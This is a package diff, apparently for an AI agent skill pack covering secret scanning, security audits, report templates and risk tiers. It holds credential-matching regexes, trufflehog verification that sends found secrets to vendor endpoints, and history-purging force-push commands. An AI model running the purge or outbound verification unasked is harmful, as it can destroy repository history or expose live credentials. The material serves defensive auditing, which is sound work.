@perrylink/dsh-skill-pack-security-provider 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. package/README.md +93 -0
  2. package/cordis.patch.yml +10 -0
  3. package/lib/index.js +82 -0
  4. package/lib/types/index.d.ts +30 -0
  5. package/pack/skills/dependency-audit/SKILL.md +136 -0
  6. package/pack/skills/dependency-audit/references/license-and-lockfile.md +56 -0
  7. package/pack/skills/dependency-audit/references/pnpm-audit-reading.md +63 -0
  8. package/pack/skills/incident-response/SKILL.md +83 -0
  9. package/pack/skills/incident-response/references/runbook-and-postmortem.md +82 -0
  10. package/pack/skills/prompt-injection-review/SKILL.md +119 -0
  11. package/pack/skills/prompt-injection-review/references/injection-surfaces.md +74 -0
  12. package/pack/skills/secret-scan/SKILL.md +123 -0
  13. package/pack/skills/secret-scan/references/redaction-and-remediation.md +58 -0
  14. package/pack/skills/secret-scan/references/tool-usage.md +83 -0
  15. package/pack/skills/security-audit/SKILL.md +111 -0
  16. package/pack/skills/security-audit/references/report-template.md +53 -0
  17. package/pack/skills/security-audit/references/risk-classification.md +40 -0
  18. package/pack/skills/supply-chain-review/SKILL.md +96 -0
  19. package/pack/skills/supply-chain-review/references/install-script-checks.md +34 -0
  20. package/pack/skills/supply-chain-review/references/typosquat-and-reproducibility.md +71 -0
  21. package/pack/skills/threat-model/SKILL.md +96 -0
  22. package/pack/skills/threat-model/references/stride-and-attack-tree.md +76 -0
  23. package/pack/skills/vuln-intel/SKILL.md +93 -0
  24. package/pack/skills/vuln-intel/references/advisory-sources.md +45 -0
  25. package/pack/skills-en/dependency-audit/SKILL.md +135 -0
  26. package/pack/skills-en/dependency-audit/references/license-and-lockfile.md +56 -0
  27. package/pack/skills-en/dependency-audit/references/pnpm-audit-reading.md +63 -0
  28. package/pack/skills-en/incident-response/SKILL.md +83 -0
  29. package/pack/skills-en/incident-response/references/runbook-and-postmortem.md +82 -0
  30. package/pack/skills-en/prompt-injection-review/SKILL.md +118 -0
  31. package/pack/skills-en/prompt-injection-review/references/injection-surfaces.md +74 -0
  32. package/pack/skills-en/secret-scan/SKILL.md +122 -0
  33. package/pack/skills-en/secret-scan/references/redaction-and-remediation.md +58 -0
  34. package/pack/skills-en/secret-scan/references/tool-usage.md +83 -0
  35. package/pack/skills-en/security-audit/SKILL.md +109 -0
  36. package/pack/skills-en/security-audit/references/report-template.md +53 -0
  37. package/pack/skills-en/security-audit/references/risk-classification.md +40 -0
  38. package/pack/skills-en/supply-chain-review/SKILL.md +95 -0
  39. package/pack/skills-en/supply-chain-review/references/install-script-checks.md +34 -0
  40. package/pack/skills-en/supply-chain-review/references/typosquat-and-reproducibility.md +71 -0
  41. package/pack/skills-en/threat-model/SKILL.md +96 -0
  42. package/pack/skills-en/threat-model/references/stride-and-attack-tree.md +76 -0
  43. package/pack/skills-en/vuln-intel/SKILL.md +93 -0
  44. package/pack/skills-en/vuln-intel/references/advisory-sources.md +45 -0
  45. package/package.json +52 -0
@@ -0,0 +1,122 @@
1
+ ---
2
+ name: secret-scan
3
+ description: 'Credential/secret exposure audit: gitleaks and trivy full-history scan commands and arguments, false-positive alert tiers, the redacted-report spec, and the remediation flow ordered rotate → revoke → purge history → CI gate. Use for detecting secrets/tokens/passwords/private keys in a repository, investigating leaked history commits, judging whether scan alerts are real, or writing a leak report; ordinary code review unrelated to credentials does not use this skill.'
4
+ whenToUse: 'Use when the user asks to scan or inspect a repository for secret leaks, to hunt tokens in a commit or file, to tier scan alerts as real or false, to write a redacted leak report, or to plan secret rotation. Plain feature development and ordinary code review do not trigger this skill.'
5
+ metadata:
6
+ pack: dsh-skill-pack-security
7
+ version: '1.3.0'
8
+ ---
9
+ # Secret scanning (secret-scan)
10
+
11
+ Goal: find real credentials in a repository (including its history) and drive remediation. Hard discipline: **no secret plaintext may appear in any output, report, or log**.
12
+
13
+ ## 1. Tool readiness
14
+
15
+ ```sh
16
+ gitleaks --version
17
+ trivy --version
18
+ trufflehog --version
19
+ ```
20
+
21
+ Sample output (use the machine's actual output): `gitleaks version 8.24.3` / `Version: 0.61.0` / `trufflehog 3.88.12`.
22
+ Criterion: exit code 0 = available; non-zero or `command not found` = not installed.
23
+ Installation (if it cannot be installed, skip and use the Section-4 degraded grep, noting it in the report):
24
+
25
+ ```sh
26
+ # Windows: scoop install gitleaks trivy trufflehog (or winget install Gitleaks.Gitleaks AquaSecurity.Trivy TruffleSecurity.Trufflehog)
27
+ # macOS/Linux: brew install gitleaks trivy trufflehog
28
+ ```
29
+
30
+ Write the actual version numbers into the report (a prerequisite of a reproducible audit).
31
+
32
+ ## 2. Full-history scan (the default path)
33
+
34
+ ```sh
35
+ gitleaks detect --source . --report-format json --report-path .gitleaks-report.json --redact -v
36
+ ```
37
+
38
+ - Exit code: 0 = nothing found; **1 = findings, but also possibly a configuration/argument error** — stderr must be read to tell them apart.
39
+ - Sample stderr (real findings): `INFO: 42 leaks found. 120 commits scanned.`
40
+ - Sample stderr (configuration error): `unable to load config` — in this case exit code 1 does not mean leaks exist.
41
+ - Criterion: only stderr showing `leaks found` **and** a non-empty `Findings` array in the JSON count as findings; either one missing = fix the configuration and rescan.
42
+ - Sample output (with `--redact` the `match` is masked):
43
+
44
+ ```json
45
+ { "Description": "Generic API Key", "StartLine": 12, "File": "src/ci/deploy.sh",
46
+ "Commit": "a1b2c3d4", "RuleID": "generic-api-key", "Secret": "REDACTED" }
47
+ ```
48
+
49
+ - False-positive tiers and the allowlist: the complete four-tier table, the `.gitleaks.toml` allowlist syntax, and the baseline workflow live in `references/tool-usage.md`. Tier shorthand:
50
+ - Tier A real secret (confirmed valid through the vendor's verification interface) → rotate immediately;
51
+ - Tier B format-real but validity unconfirmable → treat as real;
52
+ - Tier C test fixture / placeholder / documentation example → register in the allowlist;
53
+ - Tier D already-rotated historical secret → record it; history cleanup is optional.
54
+ Criterion: "this is a test file" alone never clears an alert; Tier C needs double evidence from file name and content (for example, the path contains `test`/`fixture` and the value contains `example`/`xxx`).
55
+ - Output hygiene: `.gitleaks-report.json` must not be committed — delete it after the scan or add it to `.gitignore` (`echo '.gitleaks-report.json' >> .gitignore`). `--redact` only masks secret values; the JSON still carries sensitive metadata such as file paths and commit hashes.
56
+ - Bounded-history scanning for huge repositories and the staged gate live in `references/tool-usage.md` (`--log-opts`, `gitleaks protect --staged`).
57
+
58
+ ## 3. Trivy and Trufflehog cross-validation (lowers false positives; never the sole authority)
59
+
60
+ ```sh
61
+ trivy fs --scanners secret --severity HIGH,CRITICAL .
62
+ ```
63
+
64
+ Sample output lines:
65
+
66
+ ```
67
+ src/ci/deploy.sh (secrets)
68
+
69
+ Total: 1 (HIGH: 1)
70
+ ```
71
+
72
+ Criterion: reported by **both** gitleaks and trivy → very likely real, escalate for review; reported by only one → enter the Tier-B review flow, do not tier it directly.
73
+ Trivy scans the filesystem (it does not cover deleted history), so its coverage differs from gitleaks full-history — the report notes the difference.
74
+
75
+ Trufflehog (git history + automatic verification; the most direct tool evidence for a Tier-A judgment):
76
+
77
+ ```sh
78
+ trufflehog git file://. --only-verified
79
+ ```
80
+
81
+ Sample output lines (use the actual output):
82
+
83
+ ```
84
+ Found verified result 🐷🔑
85
+ Detector Type: GitHub
86
+ ```
87
+
88
+ Criterion: `Verified` = the tool already confirmed the secret with a read-only request → direct Tier-A evidence, rotate immediately; `Unverified` → treat as Tier B. Note: trufflehog issues the verification request using the found secret (mostly read-only health checks); if organizational policy forbids any outbound verification, use `--no-verification` and treat every alert as Tier B. Both trufflehog and gitleaks cover git history while trivy sees only the current tree — state the coverage differences in the report.
89
+
90
+ ## 4. Degraded grep without the tools (bounded execution; rev-list depth must be limited)
91
+
92
+ ```sh
93
+ git rev-list --all | head -n 500 | while read rev; do
94
+ git grep -nE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{22,}|sk-[A-Za-z0-9]{20,}|xox[bap]-[A-Za-z0-9-]{10,}|AZURE_STORAGE_[A-Za-z0-9]+=' "$rev" -- '*.js' '*.ts' '*.json' '*.env' 2>/dev/null
95
+ done
96
+ ```
97
+
98
+ Sample output: `a1b2c3d:src/ci/deploy.sh:12:export GITHUB_TOKEN=ghp_...`
99
+ Criterion: a matching line containing `example`/`placeholder`/`xxx` or located in a test file → Tier C (still listed in the report); otherwise treat as Tier B.
100
+ The loose JWT shape (three `eyJ… .… .…` segments) matches too much and is only for spot-checking: `git grep -nE 'eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}' "$rev" -- '*.json' '*.ts' '*.js'` — every hit still goes through the four tiers.
101
+ Limitation: grep only hits content still present in some commit tree and cannot cover deleted history — this is a degraded path, not an equivalent substitute.
102
+
103
+ ## 5. Redacted report spec
104
+
105
+ The full details live in `references/redaction-and-remediation.md`. Key points:
106
+
107
+ - The report records only: type + first 6 characters + file/commit location + tier, never the full secret.
108
+ Example: `GitHub token ghp_abc… | src/ci/deploy.sh:12 | commit a1b2c3d | Tier A`
109
+ - Self-check command (expected output: no matches):
110
+
111
+ ```sh
112
+ grep -nE '(ghp_[A-Za-z0-9]|AKIA[0-9A-Z]{16}|sk-[A-Za-z0-9]|-----BEGIN (RSA|OPENSSH|EC) )' report.md
113
+ ```
114
+
115
+ - Validity verification (for Tier-A confirmation): rotate first, verify second; only enter the **already-rotated old value** into the vendor console/API — never send a live secret to any third-party verification service.
116
+
117
+ ## 6. Remediation order (fixed order; skipping steps is forbidden)
118
+
119
+ 1. **Rotate**: generate a new value at the issuer and replace every usage — the order is irreversible; purging history before rotating is meaningless.
120
+ 2. **Revoke**: revoke the old secret in the vendor console; rotation is complete when the new secret works and the console shows the old one revoked.
121
+ 3. **Purge history (optional, high risk)**: `git filter-repo --path <file> --invert-paths`, with two hard preconditions: a full repository backup + every collaborator notified and agreed to rebase after the force-push; without the preconditions, do not run it — write the recommendation only.
122
+ 4. **Defend**: `.gitignore` exclusions (`echo '.env*' >> .gitignore`), a gitleaks pre-commit or CI gate (config fragments in `references/redaction-and-remediation.md`); the gate is complete when a deliberately committed fake secret is blocked.
@@ -0,0 +1,58 @@
1
+ # Redaction spec and remediation flow (secret-scan/references/redaction-and-remediation.md)
2
+
3
+ The complete details behind Sections 5 and 6 of the main file.
4
+
5
+ ## Redaction rules
6
+
7
+ 1. A secret may appear in the report in only three representations:
8
+ - Type marker + first 6 characters + ellipsis: `GitHub token ghp_abc…`
9
+ - Hash reference: `first 12 hex chars of sha256` (`echo -n '<value>' | sha256sum` then truncate, so logs can be cross-checked without leaking the value)
10
+ - Location reference: `file:line + commit hash` (e.g. `src/ci/deploy.sh:12 @ a1b2c3d`)
11
+ 2. Never allowed: the full secret, raw gitleaks JSON from before `--redact`, or echoed secrets pasted in the terminal.
12
+ 3. Run the self-check after every generated report:
13
+
14
+ ```sh
15
+ grep -nE '(ghp_[A-Za-z0-9]|AKIA[0-9A-Z]{16}|sk-[A-Za-z0-9]|-----BEGIN (RSA|OPENSSH|EC) )' report.md
16
+ ```
17
+
18
+ Expected output: no matches. A match means the report itself leaks — fix it before delivering.
19
+
20
+ ## The four remediation steps (fixed order)
21
+
22
+ ### 1. Rotate
23
+
24
+ - Generate a new value at the issuer (GitHub/GitLab/cloud vendor).
25
+ - Replace every usage: `git grep -l '<first 6 chars of the old secret>'` finds the referencing files, then replace one by one.
26
+ - Completion criterion: the new secret works (one successful run of the original purpose with the new value) and the old secret is referenced by no configuration (`git grep '<first 6 chars>'` hits nothing).
27
+
28
+ ### 2. Revoke
29
+
30
+ - Revoke the old secret in the console.
31
+ - Completion criterion: the console shows it revoked; where the vendor supports it, call the API once with the old value and expect 401/403 (the call sends only the old, already-revoked value — safe).
32
+
33
+ ### 3. Purge history (optional, high risk)
34
+
35
+ ```sh
36
+ git filter-repo --path <leaked file> --invert-paths --force
37
+ git push origin --force --all
38
+ ```
39
+
40
+ - Hard preconditions (missing either one → do not run, write the recommendation only): a complete repository backup (`git clone --mirror <url> backup.git`); every collaborator informed and agreed to rebase.
41
+ - Known cost: all commit hashes change; PR/CI associations all break.
42
+ - Alternative when not running it: keep the history and write "historical secret rotated + revoked (Tier D); residual history not purged because <reason>".
43
+
44
+ ### 4. Defend (gates)
45
+
46
+ - `.gitignore` exclusions: `printf '.env*\n*.pem\n' >> .gitignore` (already-tracked files additionally need `git rm --cached <file>`).
47
+ - Pre-commit gate (`.pre-commit-config.yaml` fragment):
48
+
49
+ ```yaml
50
+ repos:
51
+ - repo: https://github.com/gitleaks/gitleaks
52
+ rev: v8.24.3
53
+ hooks:
54
+ - id: gitleaks
55
+ ```
56
+
57
+ - CI gate (one step in any CI): `gitleaks detect --source . -v`, failing on any non-zero exit.
58
+ - Completion criterion: deliberately commit a fake secret (e.g. `ghp_FAKE0000000000000000000000000000FAKE`) to a test branch — the gate must block it; after the block is confirmed, the test commit may be removed.
@@ -0,0 +1,83 @@
1
+ # gitleaks/trivy usage and false-positive tiers (secret-scan/references/tool-usage.md)
2
+
3
+ The complete command tables and four-tier criteria behind Sections 2 and 3 of the main file.
4
+
5
+ ## gitleaks command table
6
+
7
+ | Purpose | Command | Exit code / criterion |
8
+ |---|---|---|
9
+ | Full-history scan | `gitleaks detect --source . --report-format json --report-path r.json --redact -v` | 0 = nothing found; 1 = findings or a configuration error (read stderr to tell them apart) |
10
+ | Current working tree only | `gitleaks detect --source . --no-git` | Same as above; excludes history — the report notes it |
11
+ | Bounded-history scan (huge repositories) | `gitleaks detect --source . --log-opts="--since=2.years" -v` | Same as full scan; the report notes only the last 2 years were scanned |
12
+ | Staged gate (pre-commit) | `gitleaks protect --staged` | 0 = pass; non-zero = the staged content holds alerts, block the commit |
13
+ | Scan against a baseline | `gitleaks detect --source . --baseline-path baseline.json -v` | Alerts already in the baseline are not reported again; a baseline records "known", never "fixed" |
14
+ | Generate a baseline | `gitleaks detect --source . --report-format json --report-path r.json -v; gitleaks baseline --source . --report-path r.json --baseline-path baseline.json` | Only generate a baseline for alerts reviewed and accepted as "known" |
15
+ | Quick single-file check | `gitleaks dir <path>` | Prints alert lines; does not cover history |
16
+
17
+ ### Sample JSON structure (after `--redact`)
18
+
19
+ ```json
20
+ {
21
+ "Description": "Generic API Key",
22
+ "StartLine": 12,
23
+ "EndLine": 12,
24
+ "StartColumn": 20,
25
+ "Match": "REDACTED",
26
+ "Secret": "REDACTED",
27
+ "File": "src/ci/deploy.sh",
28
+ "SymlinkFile": "",
29
+ "Commit": "a1b2c3d4e5f6",
30
+ "Entropy": 4.2,
31
+ "Author": "dev@example.com",
32
+ "Email": "dev@example.com",
33
+ "Date": "2026-08-01T10:00:00+08:00",
34
+ "Message": "add deploy script",
35
+ "RuleID": "generic-api-key",
36
+ "Fingerprint": "a1b2c3d4e5f6:src/ci/deploy.sh:generic-api-key:12"
37
+ }
38
+ ```
39
+
40
+ Field criteria: `Commit` locates historical alerts (no longer present in the tree); `Fingerprint` deduplicates across scans; an alert with low `Entropy` and a `generic-*` `RuleID` is more likely a false positive, but **low entropy alone never clears it** — the four-tier criteria still apply.
41
+
42
+ ## Allowlist configuration (minimal `.gitleaks.toml` example)
43
+
44
+ ```toml
45
+ [allowlist]
46
+ description = "team-reviewed allowances"
47
+ paths = ['''tests?/''', '''fixtures?/''']
48
+ regexes = ['''EXAMPLE_[A-Za-z0-9_]+''']
49
+ commits = ["a1b2c3d4e5f6"] # only for "rotation confirmed" historical commits
50
+ ```
51
+
52
+ Criterion: paths/regexes use concrete prefixes (`tests?/`), never a blanket `.`; every commits allowlist entry needs a review record, so a commit holding a real secret cannot be masked wholesale.
53
+
54
+ ## trivy command table
55
+
56
+ | Purpose | Command | Criterion |
57
+ |---|---|---|
58
+ | Secret scan (current tree) | `trivy fs --scanners secret --severity HIGH,CRITICAL .` | Non-zero exit = high-severity findings; output lines list files and counts |
59
+ | Including low severity | `trivy fs --scanners secret .` | For comparing with gitleaks Tier C/D |
60
+ | A specific directory | `trivy fs --scanners secret --severity HIGH,CRITICAL <dir>` | Same rules |
61
+
62
+ Difference from gitleaks: trivy does not read git history; trivy's `secret` rules come from a different ruleset than gitleaks. Both report → escalate for review; only one reports → Tier-B flow.
63
+
64
+ ## trufflehog command table
65
+
66
+ | Purpose | Command | Criterion |
67
+ |---|---|---|
68
+ | Full history + automatic verification | `trufflehog git file://. --only-verified` | `Verified` = direct Tier-A evidence (the tool already confirmed the secret with a read-only request); `Unverified` = Tier B |
69
+ | Verification disabled | `trufflehog git file://. --no-verification` | Use when organizational policy forbids outbound verification; every alert is treated as Tier B |
70
+ | Current directory only | `trufflehog filesystem .` | Does not read history — the report notes it |
71
+
72
+ Criterion: trufflehog issues its verification requests using the found secret (mostly read-only health checks such as a `/user` query); any outbound verification must be stated in the report (which secrets were sent to which vendor endpoints).
73
+
74
+ ## Four-tier false-positive criteria (each tier with its verification command)
75
+
76
+ | Tier | Definition | Verification command | Clear condition |
77
+ |---|---|---|---|
78
+ | A real | Secret verifiably valid (trufflehog `Verified`, or confirmed through the vendor console/API) | Vendor console/API query (enter only the rotated old value) | Never clears → rotate immediately |
79
+ | B suspected | Format-real, unconfirmable | `git log -p -S'<first 6 chars>' -- <file>` to read the introducing context | No clear condition; treat as real |
80
+ | C test/placeholder | Test fixture, documentation example | Double check of name and content: path contains test/fixture and value contains example/xxx | Allowlist registration only when both hold |
81
+ | D historical rotated | Rotated and revocation completed | Console revocation screenshot/record + rotation time | With a record, clear; history cleanup optional |
82
+
83
+ General criterion: **any alert without evidence is treated at the higher tier**; clearing requires a written record (tier + verification command + output) — "it looks like a false positive" is never a valid clearance.
@@ -0,0 +1,109 @@
1
+ ---
2
+ name: security-audit
3
+ description: 'Repository/software security audit overview: a staged flow of scope definition, asset inventory, risk tiering, item-by-item verification, and a report template, dispatching to the four specialist skills secret-scan, dependency-audit, supply-chain-review, and prompt-injection-review as needed. Use when the user asks for a whole-repo audit, an audit plan, or a consolidated multi-class findings report; for a single topic such as secrets or dependencies, load the matching specialist skill directly.'
4
+ whenToUse: 'Use when the user asks for a security audit of a code repository or project, an audit plan, staged audit steps, a consolidated findings report, or is unsure which specialist skill to start with. Single-topic tasks (only secrets, only dependencies, only one PR, only injection surfaces) load the matching specialist skill directly and do not trigger this overview.'
5
+ metadata:
6
+ pack: dsh-skill-pack-security
7
+ version: '1.3.0'
8
+ ---
9
+ # Security audit overview (security-audit)
10
+
11
+ This skill orchestrates the complete flow of one repository security audit and produces a report in which **every finding can be re-verified with a single command**. It only orchestrates; the check details for the four topics live in `secret-scan` (secrets), `dependency-audit` (dependencies), `supply-chain-review` (new-dependency review), and `prompt-injection-review` (injection surfaces of agent projects). When a stage is reached, load the matching specialist skill on demand with the `skill` tool — do not rewrite its details here.
12
+
13
+ ## Stage 0: fix the audit target (an unfixed target makes the report unreproducible)
14
+
15
+ ```sh
16
+ git rev-parse --show-toplevel
17
+ git log -1 --format='%H %cd' --date=iso-strict
18
+ ```
19
+
20
+ Expected sample output (use the actual output):
21
+
22
+ ```
23
+ D:\repo\example
24
+ a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0 2026-08-14T10:30:00+08:00
25
+ ```
26
+
27
+ Criterion: `git rev-parse` exits 0 and the first line is an absolute path; a non-zero exit means this is not a git repository — stop and explain why.
28
+ The report metadata must record this commit hash so a reviewer can replay every check command at any time.
29
+
30
+ Confirm tool availability (each specialist skill has a degraded path for missing tools; never claim a check was "scanned" when it was not run):
31
+
32
+ ```sh
33
+ gitleaks --version; trivy --version; pnpm --version
34
+ checkov --version
35
+ ```
36
+
37
+ Sample output: `gitleaks version 8.24.3` / `Version: 0.61.0` / `10.9.0` / `3.2.x`.
38
+ Criterion: exit code 0 per command = available; non-zero or `command not found` = unavailable — the report states "not run (tool unavailable)". A missing checkov does not block the audit (the IaC surface uses `trivy config` or degrades to manual review).
39
+
40
+ ## Stage 1: scope definition
41
+
42
+ Deliverable: the **audit scope list** — enumerate the files, directories, dependencies, and configuration paths included in the audit, with every exclusion and its reason.
43
+
44
+ ```sh
45
+ git ls-files | wc -l
46
+ git ls-files -- 'package.json' 'pnpm-lock.yaml' 'package-lock.json' 'yarn.lock' '*.toml' '*.yaml' '*.yml' '.github/workflows/**'
47
+ ```
48
+
49
+ Sample output: `1234` (the first line is the total file count), followed by the manifest and configuration file paths; a missing class of files yields an empty line for that class.
50
+ Criterion: empty output = the class of files does not exist — the report writes "not found" instead of omitting the class.
51
+ Boundary assumptions go into the report: by default only files tracked by `git ls-files` are audited; whether submodules, upstream mirrors, and CI environment variables are included must be stated in the scope list.
52
+
53
+ ## Stage 2: asset inventory
54
+
55
+ List assets along four surfaces (command output goes directly into the report appendix):
56
+
57
+ ```sh
58
+ git ls-files -- '.env*' '*.pem' '**/id_rsa' '**/id_ed25519' '**/*.key'
59
+ git ls-files -- 'package.json' 'pnpm-lock.yaml' 'package-lock.json' 'yarn.lock'
60
+ git submodule status
61
+ git ls-files -- '.github/workflows/**' '.mcp.json' 'cordis.yml' '**/cordis.yml'
62
+ git ls-files -- 'Dockerfile*' 'docker-compose*.yml' 'compose*.yml' '*.tf' '*.tfvars' '*.hcl' 'serverless.yml'
63
+ ```
64
+
65
+ Sample output: one relative path per line; no matches = no output.
66
+ Criterion: empty output = no assets on that surface — the report writes "not found".
67
+ The asset inventory feeds every later stage: the secrets surface goes to `secret-scan`, the dependency surface to `dependency-audit`, and the CI/configuration plus IaC/container surfaces are checked within this report.
68
+
69
+ ## Stage 3: risk tiering
70
+
71
+ Tier definitions, the coarse CVSS mapping, handling deadlines, and report wording live in `references/risk-classification.md`.
72
+ Every finding must fill this table (all three factors are required to tier anything; without them an item is an "observation", not a "finding"):
73
+
74
+ | Finding | Location (file:line/commit) | Exploitability | Impact | Exposed | Tier |
75
+ |---|---|---|---|---|---|
76
+ | e.g. GitHub token in plaintext | src/ci/deploy.sh:12 | High | Repo write access | Pushed to a public repo | Critical |
77
+
78
+ Criterion: a tier may only come from "exploitability × impact × exposed"; anything tiered by feel is downgraded to "observation".
79
+
80
+ ## Stage 4: item-by-item verification
81
+
82
+ Principle: **every finding in the report must be re-verifiable by a reviewer with one command**; anything that cannot be re-verified goes into "observations", not "findings".
83
+ Verification commands per topic come from the matching specialist skill (load it and use its commands):
84
+
85
+ - Secrets: `git grep -n '<first 6 redacted characters>' <commit hash> -- '<file path>'` (details in `secret-scan`)
86
+ - Dependencies: `pnpm why <package>`, and search the `pnpm audit --json` output by advisory id (see `dependency-audit`)
87
+ - New dependencies: `git log --oneline --follow -- <lockfile>` to locate the introducing commit (see `supply-chain-review`)
88
+ - Injection surfaces: the original-source extraction command of the quoted text (see `prompt-injection-review`)
89
+ - CI/workflows: `git grep -n 'pull_request_target' -- '.github/workflows/**'` (a hit where the workflow uses secrets after checking out PR code → high-severity finding); `git grep -nE 'uses: [A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+@v[0-9]' -- '.github/workflows/**'` (actions not pinned to a commit SHA → record)
90
+ - IaC/containers: `trivy config .` (or `checkov -d .` without trivy); images with `trivy image <image>` (image unavailable or tools missing → write "not run")
91
+
92
+ False-positive rule: a verification command that yields no evidence → downgrade to "observation" or delete; anything kept without verification must state the reason.
93
+
94
+ ## Stage 5: report
95
+
96
+ The report skeleton (title, metadata, verdict summary, findings table, verification-command appendix, method limitations) lives in `references/report-template.md`.
97
+ Hard redaction rule: the report must never contain a secret in plaintext — only the type marker plus the first 6 characters; details in the `secret-scan` redaction spec.
98
+ Self-check before delivery (expected output: no matches; a match means the report itself leaks a secret — fix it before delivering):
99
+
100
+ ```sh
101
+ grep -nE '(ghp_[A-Za-z0-9]|AKIA[0-9A-Z]{16}|sk-[A-Za-z0-9]|-----BEGIN)' report.md
102
+ ```
103
+
104
+ ## Division of labor with the other skills
105
+
106
+ - `secret-scan`: secret detection, false-positive tiers, redaction, and remediation order — the secrets surface of the asset inventory.
107
+ - `dependency-audit`: known vulnerabilities, licenses, poisoning, lockfile drift — the dependency surface of the asset inventory.
108
+ - `supply-chain-review`: a minutes-fast review of PRs and new dependencies — new dependencies appearing during the audit.
109
+ - `prompt-injection-review`: the context injection surfaces of agent projects — mandatory when the repository itself is an agent project.
@@ -0,0 +1,53 @@
1
+ # Audit report template (security-audit/references/report-template.md)
2
+
3
+ The report skeleton: every heading is a mandatory section, and `<...>` marks a placeholder. Language matches the main file (English-primary; keep technical terms in English).
4
+
5
+ ## Template
6
+
7
+ ```markdown
8
+ # Security audit report: <repository name>
9
+
10
+ - Audit target: <absolute repository path>
11
+ - Baseline commit: <40-character commit hash> (<ISO date>)
12
+ - Audit window: <start>–<end>
13
+ - Tools and versions: <gitleaks x.y.z / trivy x.y.z / pnpm x.y.z; unavailable ones say "not run">
14
+ - Auditor: <model/tool name, noting "this report was generated by a model following the dsh-skill-pack-security/security-audit flow and requires human review">
15
+
16
+ ## 1. Scope
17
+
18
+ Included: <paths/categories, one per line>
19
+ Excluded: <each exclusion and its reason>
20
+ Assumptions: <how submodules, upstream mirrors, and CI environment variables are handled>
21
+
22
+ ## 2. Verdict summary
23
+
24
+ <One paragraph: N findings (critical X / high Y / medium Z / low W), M observations. What the highest risk is, and the suggested first action. Every finding carries a unique id F-01, F-02, …; the summary and the suggested actions reference those ids.>
25
+
26
+ ## 3. Findings (each row carries the three factors and a verification command)
27
+
28
+ | ID | Tier | Finding | Location | Exploitability | Impact | Exposed | Verification command | Suggested action |
29
+ |---|---|---|---|---|---|---|---|---|
30
+
31
+ ## 4. Observations (not re-verifiable, or below the "finding" standard)
32
+
33
+ <Same table structure; the tier column says "observation" with the reason.>
34
+
35
+ ## 5. Verification command appendix
36
+
37
+ <The verbatim text and output summary of every Stage-4 verification command, for reviewers to replay.>
38
+
39
+ ## 6. Method limitations
40
+
41
+ - Checks not run (missing tools / out of scope): <list each>
42
+ - Historical content the grep-class degraded path cannot cover: <if applicable>
43
+ - Model judgments, not tool judgments: <mark each as "needs human confirmation">
44
+ ```
45
+
46
+ ## Self-check list (walk through before delivery)
47
+
48
+ 1. Every "finding" is re-verifiable with an appendix command: `grep -n '<verification command>' report.md` is expected to hit every row.
49
+ 2. No plaintext secrets: `grep -nE '(ghp_[A-Za-z0-9]|AKIA[0-9A-Z]{16}|sk-[A-Za-z0-9]|-----BEGIN)' report.md` is expected to produce no output.
50
+ 3. Every finding has non-empty "exploitability/impact/exposed" factors: counts such as `grep -c '| High |' report.md` match the finding counts.
51
+ 4. The baseline commit hash is 40 hex characters: `grep -oE '[0-9a-f]{40}' report.md` hits at least once.
52
+ 5. The method-limitations section is non-empty: `grep -A5 '## 6' report.md` has real content.
53
+ 6. Finding ids are unique: `grep -oE 'F-[0-9]+' report.md | sort | uniq -d` is expected to produce no output.
@@ -0,0 +1,40 @@
1
+ # Risk tiering details (security-audit/references/risk-classification.md)
2
+
3
+ The complete definitions behind Stage 3 of the main file. Tiering uses only three factors: **exploitability × impact × exposed**; all three are written into the report row — none may be missing.
4
+
5
+ ## The four tiers
6
+
7
+ | Tier | Definition | Handling deadline | Report wording template |
8
+ |---|---|---|---|
9
+ | Critical | Exposed real credentials, directly remotely exploitable vulnerabilities, injection surfaces that bypass all defenses | Handle immediately; disposition before the audit ends | "Confirmed: <type> at <location> is exposed to <scope> with <impact>." |
10
+ | High | Exploitable locally / with low privilege, or broad impact whose exploitation needs preconditions | Handle within the current iteration | "Found: <type> at <location>; exploitation requires <precondition>." |
11
+ | Medium | Defense-in-depth gaps, configuration hazards, known vulnerabilities in dependencies with no exploitable path | Schedule for a planned release | "Observation: <type>; suggested to handle in <version/plan>." |
12
+ | Low | Information exposure, style/hygiene issues, historical leftovers | Record it | "Recorded: <type> poses no current risk." |
13
+
14
+ ## Coarse CVSS mapping (reference only; it does not replace the three factors)
15
+
16
+ - Critical 9.0–10.0 → Critical
17
+ - High 7.0–8.9 → High
18
+ - Medium 4.0–6.9 → Medium
19
+ - Low 0.1–3.9 → Low
20
+
21
+ Criterion: CVSS is only the upstream score; whether this repository is affected must be re-derived from the three factors (for example, a vulnerable package that lives only in devDependencies and never enters the build may be downgraded to Medium even with a critical CVSS — with the reason written down).
22
+
23
+ ## Verification commands
24
+
25
+ | Finding type | Verification command | Pass criterion |
26
+ |---|---|---|
27
+ | Secret | `git grep -n '<first 6 characters>' <commit hash> -- '<path>'` | Output hits the line and the content is credential-shaped |
28
+ | Dependency vulnerability | Search the `pnpm audit --json` output by advisory id | The id exists and `severity` matches the report |
29
+ | New dependency | `git log --oneline --follow -- <lockfile>` | The introducing commit exists and matches the dependency version |
30
+ | Injection surface | Original-source grep (see prompt-injection-review) | The original text exists and its context matches the quotation |
31
+
32
+ ## Upgrade / downgrade rules
33
+
34
+ - A tier that cannot be verified → always downgraded to "observation".
35
+ - Verification failure (command empty, content mismatch) → downgrade to "observation" or delete; keeping the original tier without deleting requires writing the reason in the report.
36
+ - Multiple findings sharing one root cause are merged into one row listing every location.
37
+
38
+ ## Compliance mapping (optional appendix; reference only, never part of tiering)
39
+
40
+ When the report must align with a compliance framework, add a coarse mapping in the appendix: group findings by OWASP ASVS verification requirements or by NIST CSF functions (Identify/Protect/Detect/Respond/Recover). The mapping is a communication annotation only — tiers still come from the three factors alone; "compliance requires it" may never be used to argue a tier upward.
@@ -0,0 +1,95 @@
1
+ ---
2
+ name: supply-chain-review
3
